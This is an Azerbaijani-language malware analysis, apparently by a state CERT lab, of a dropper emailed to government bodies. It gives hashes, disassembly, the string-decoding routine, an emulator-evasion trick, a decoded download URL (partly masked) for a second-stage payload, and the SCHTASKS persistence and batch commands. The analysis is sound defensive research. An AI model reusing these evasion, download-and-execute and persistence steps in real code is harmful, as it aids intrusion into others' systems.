TEZIS_AZE_3448_MFA - yerli dövlət qurumlarını hədəf alan zərərvericinin analizi - 1. hissə (zərərli dropperin analizi)

Azərbaycan Respublikası Xüsusi Rabitə və İnformasiya Təhlükəsizliyi Dövlət Xidməti - Kompüter İnsidentlərinə qarşı Mübarizə Mərkəzi - Malware Research Lab – S.Abasov - 19 Oktyabr 2022

Hissə 1 – Zərərli dropperin analizi

Yerli dövlət orqanlarını hədəf alan şübhəli fayl e-poçt xidməti üzərindən göndərilmişdi. Şübhəli 32 bitlik icra edilə bilən fayl formatında idi.

Fayl ölçüsü: 46.50 KB (47616 bytes)

MD5: 0AD6C462D651C9435F204E33E93DC1A2
SHA-1: 8FFF825211374C23AF32CE606966924C5E7E9064

Zərərvericinin import tablosuna baxdığımız zaman şübhəli əməliyyatlar zamanı istifadə edilən bəzi kitabxana və funksiyalar diqqətimizdən qaçmadı.

Bundan əlavə olaraq əməliyyat sistemi versiyaları (Major= 6, Minor=0) bizə tərtib edilən sistemin Windows Vista və ya Windows Server 2008 olduğunu deyirdi ((müdaxilə edilə bilən dəyərlərdir).

Diqqətimizi çəkən növbəti məqam isə icra edilə bilən faylın tərtib edilən zaman (compile) debug rejimindən istifadə etdiyi oldu. Bu isə zərərvericini hazırlayan (lar) haqqında bizə bəzi məlumatlar verə bilərdi. Debug qovluğunda zərərvericinin tərtib edildiyi qovluq haqqında məlumat yer alırdı.

W:\fm\dropper\1.5 project\Debug\dropper.pdb

Zərərverici haqqında qısa məlumat aldıqdan sonra ilk olaraq dinamik analizə başladıq. Bu bizə zərərverici haqqında ümumi fikir formalaşdırmağımıza kömək olacaq. Monitorinq alətlərini hazırlayıb zərərvericini təhlükəsiz mühitdə işə saldıq. Toplanan logların analizinə proses ağacından başladıq. Burada diqqətimizi çəkən hadisənin şahidi olmadıq.

Bundan sonra isə zərərvericinin fayl system əməliyyatlarına baxdıq. Bu hissədə maraqlı məlumatlar var idi.

InetCache\IE\* qovluğunda yaradılan fayl harv[1].exe ehtimal ki, UrlDownloadToFileA funksiyası ilə yüklənilən məlumat idi. Daha sonra zərərverici %AppData%\Microsoft\Spelling qovluğunda gccFrame.exe adında fayl yaradır. Proses ağacına yenidən baxdıqda icra edilə bilən faylı tapşırıq paylayıcısına ( task scheduler ) əlavə etdiyini gördük.

gccFrame.exe haqqında məlumatları məqalənin 2. hissəsində alacaqsınız. Son olaraq isə zərərvericinin şəbəkə aktivliklərinə göz gəzdirdik. Burada zərərvericinin URLDownloadToFileA funksiyasını hansı məqsəd üçün istifadə etdiyini aşkarladıq. Zərərverici bu funksiyanln köməkliyi ilə x.x.130.41 ünvanında yerləşən /harv.exe faylını endirirdi.

Dinamik analizdən əsas aktivlikləri müşahidə etdikdən sonra keçdik zərərvericinin statik analizini. Statik analiz bizə daha ətraflı və dolğun məlumat verəcək.

Zərərvericinin statik analizi

Zərərverici əsas funksiyada ilk olaraq komanda xətti pəncərəsini gizlətmək üçün 2 əməliyyat icra edir. Bunun üçün FindWindow funksiyası ilə komanda xətti pəncərəsini sinif üzərindən aşkarlayır və pəncərəni gizlədir.

Daha sonra zərərverici antivirusların emulyator mühərriklərindən yayınmaq üçün kiçik bir fənd işlədir. İlk olaraq 5F5E100h = 100000000 həcmində yaddaş bölgəsi ayırır. Uzun zamandır istifadə edilən bir mexanizmdir. Mühərrik emulyasıya zamanı eyni həcmdə yaddaş bölgəsi ayırmağa cəhd edir və limit problemi yaranır. Bir digər limit problemi isə icra ediləcək təlimatların sayıdır. Zərərverici bunuda nəzər alaraq memset funskiyası ilə ayrılan bölgəyə 0 baytını yazır. Sonda isə ayrılan yaddaş bölgəsini free əmri ilə sistemə geri qaytarır.

.text:0041266D                 call    ds:malloc
.text:00412673                 add     esp, 4
.text:00412676                 cmp     esi, esp
.text:00412678                 call    ???????
.text:0041267D                 mov     [ebp+Block], eax
.text:00412680                 cmp     [ebp+Block], 0
.text:00412684                 jz      loc_412860
.text:0041268A                 push    5F5E100h        ; Size
.text:0041268F                 push    0               ; Val
.text:00412691                 mov     eax, [ebp+Block]
.text:00412694                 push    eax             ; void *
.text:00412695                 call    j_memset
.text:0041269A                 add     esp, 0Ch
.text:0041269D                 mov     esi, esp
.text:0041269F                 mov     eax, [ebp+Block]
.text:004126A2                 push    eax             ; Block
.text:004126A3                 call    ds:free

Zərərverici 2. dəfə oxşar əməliyyatı yerinə yetirir. Lokal dəyişənə 0 dəyərini mənimsədir və daha sonra for loop ilə bu dəyişəndə olan dəyərin üzərinə 1 əlavə edir. Dəyər 5F5E100h bərabər olanda isə əsas əməliyyatları icra etməyə başlayır.

İlk olaraq proses mühitindən (environment) @appdata qovluğunun tam yolunu götürür və lokal dəyişənə köçürür. Köçürülmə əməliyyatından sonra isə əldə edilən məlumatı sadə bir metod ilə kodlaşdırır.

>>> import os
>>> os.getenv
>>> e = os.getenv("Appdata")
>>> for i in e:
...     print(chr(ord(i) + 2), end="")
...
E<^Wugtu^cfokp^CrrFcvc^Tqcokpi

Daha sonra eyni şəkildə 2 dəfə @temp qovluğunu. Bu əməliyyatları yerinə yetirdikdən sonra sıra ilə @temp qovluqlarının sonuna NAHDGFBAGGSD.battmpBFGATURP.bat əlavə edir.

  1. "C:\\Users\\admin\\AppData\\Local\\Temp\\NAHDGFBAGGSD.bat"
  2. "C:\\Users\\admin\\AppData\\Local\\Temp\\tmpBFGATURP.bat"

Bu məlumatları push təlimatı stack bölgəsinə yazır və sub_5C12A3 funksiyası çağrılır. Məhz bu funksiya içərisində kritik əməliyyatlar icra edilirdi.

mov     eax, ds:off_5C8B30 ; "NAHDGFBAGGSD.bat"
push    eax             ; Source
lea     ecx, [ebp+Destination]
push    ecx             ; Destination
call    j_strcat
add     esp, 8
mov     eax, ds:off_5C8B34 ; "tmpBFGATURP.bat"
push    eax             ; Source
lea     ecx, [ebp+File]
push    ecx             ; Destination
call    j_strcat
add     esp, 8
lea     eax, [ebp+File]
push    eax             ; LPCSTR
lea     ecx, [ebp+Destination]
push    ecx             ; lpFileName
call    sub_5C12A3   	; Kritik

Bu funksiyanın başlığında kodlaşdırılmış məlumatları buffere toplayır. Məlumatların necə kodlaşdırıldığını bildiyimiz üçün asan şəkildə deşifrə edə bildik.

push    offset Source   ; "UEJVCUMU\"1Etgcvg\"1VP\""
lea     eax, [ebp+Destination]
push    eax             ; Destination
call    j_strcat
add     esp, 8
mov     eax, off_41B008 ; "CrrHtcog"
push    eax             ; Source
lea     ecx, [ebp+Destination]
push    ecx             ; Destination
call    j_strcat
add     esp, 8
push    offset a1vtCrrfcvcOket ; "\"1VT\"$'crrfcvc'^Oketquqhv^Urgnnkpi^"
lea     eax, [ebp+Destination]
push    eax             ; Destination
call    j_strcat
add     esp, 8
mov     eax, off_41B004 ; "ieeHtcog0gzg"
push    eax             ; Source
lea     ecx, [ebp+Destination]
push    ecx             ; Destination
call    j_strcat
add     esp, 8
push    offset a1h1ueQpeg1uv ; "$\"1H\"1UE\"QPEG\"1UV\""
lea     eax, [ebp+Destination]
push    eax             ; Destination
call    j_strcat
>>> enc_data_list = ["UEJVCUMU\"1Etgcvg\"1VP\"", "CrrHtcog", "\"1VT\"$'crrfcvc'^Oketquqhv^Urgnnkpi^", "ieeHtcog0gzg", "$\"1H\"1UE\"QPEG\"1UV\""]
>>> def decode(enc_data):
...     return "".join([chr(ord(i) - 2) for i in enc_data])
...
>>> for e in enc_data_list:
...     e, decode(e)
...
('UEJVCUMU"1Etgcvg"1VP"', 'SCHTASKS /Create /TN ')
('CrrHtcog', 'AppFrame')
('"1VT"$\'crrfcvc\'^Oketquqhv^Urgnnkpi^', ' /TR "%appdata%\\Microsoft\\Spelling\\')
('ieeHtcog0gzg', 'gccFrame.exe')
('$"1H"1UE"QPEG"1UV"', '" /F /SC ONCE /ST ')

Bu əməliyyatlardan sonra zərərverici öncədən kodlaşdırdığı %appdata% qovluğunu deşifrə edir və sonuna deşifrə edilən ieeHtcog0gzg (gccFrame.exe) əlavə edərək URLDownloadToFileA funksiyasını çağırır. Funksiyanı çağırmaq üçün LoadLibrary ilə ilk olaraq urlmon.dll kitabxanasını yaddaşına yükləyir və GetProcAddress dəstəyi ilə funksiyanın (URLDownloadToFileA) adresini alır və funksiyanı çağırır. Zərərverici yüklənəcək olan məlumatın (payload) URL adresinidə kodlaşdırımışdı.

>>> decode("jvvr<xxx::05603520631jctx0gzg")

'http://xxx.xx.130.41/harv.exe'

URLDownloadTolFileA funksiyası aşağıda ki, parametrlər ilə çağrılır.

szURL = 'http://xxx.xx.130.41/harv.exe'

szFileName = %appdata%\Microsoft\Spelling\gccFrame.exe

Yükləmədən sonra zərərverici CreateFile funksiyası ilə bir öncəki funksiyadan parametr olaraq qəbul etdiyi C:\Users\admin\AppData\Local\Temp\NAHDGFBAGGSD.bat faylını yaradır. Yaradılan faylın içərisinə deşifrə edilən məlumatı (\n SCHTASKS /Create /TN AppFrame /TR "%appdata%\Microsoft\Spelling\gccFrame.exe" /F /SC ONCE /ST 04:48) yazır.

Növbəti əməliyyat zamanı yuxarıda göstərilən .bat skriptini icra etməsi üçün növbəti komanda sətiri kodunu (start /min cmd /c C:\Users\admin\AppData\Local\Temp\NAHDGFBAGGSD.bat) generasiya edir və tmpBFGATURP.bat faylına yazır.

Ən sonda zərərverici URLDownloadToFileA funksiyası ilə 'http://xxx.xx.130.41/harv.exe' adresindən yüklədiyi yükü (payload) tapşırıq paylayıcısına əlavə etmək üçün bu skripti (tmpBFGATURP.bat) ShellExecute funksiyası ilə işə salır və işini sonlandırır.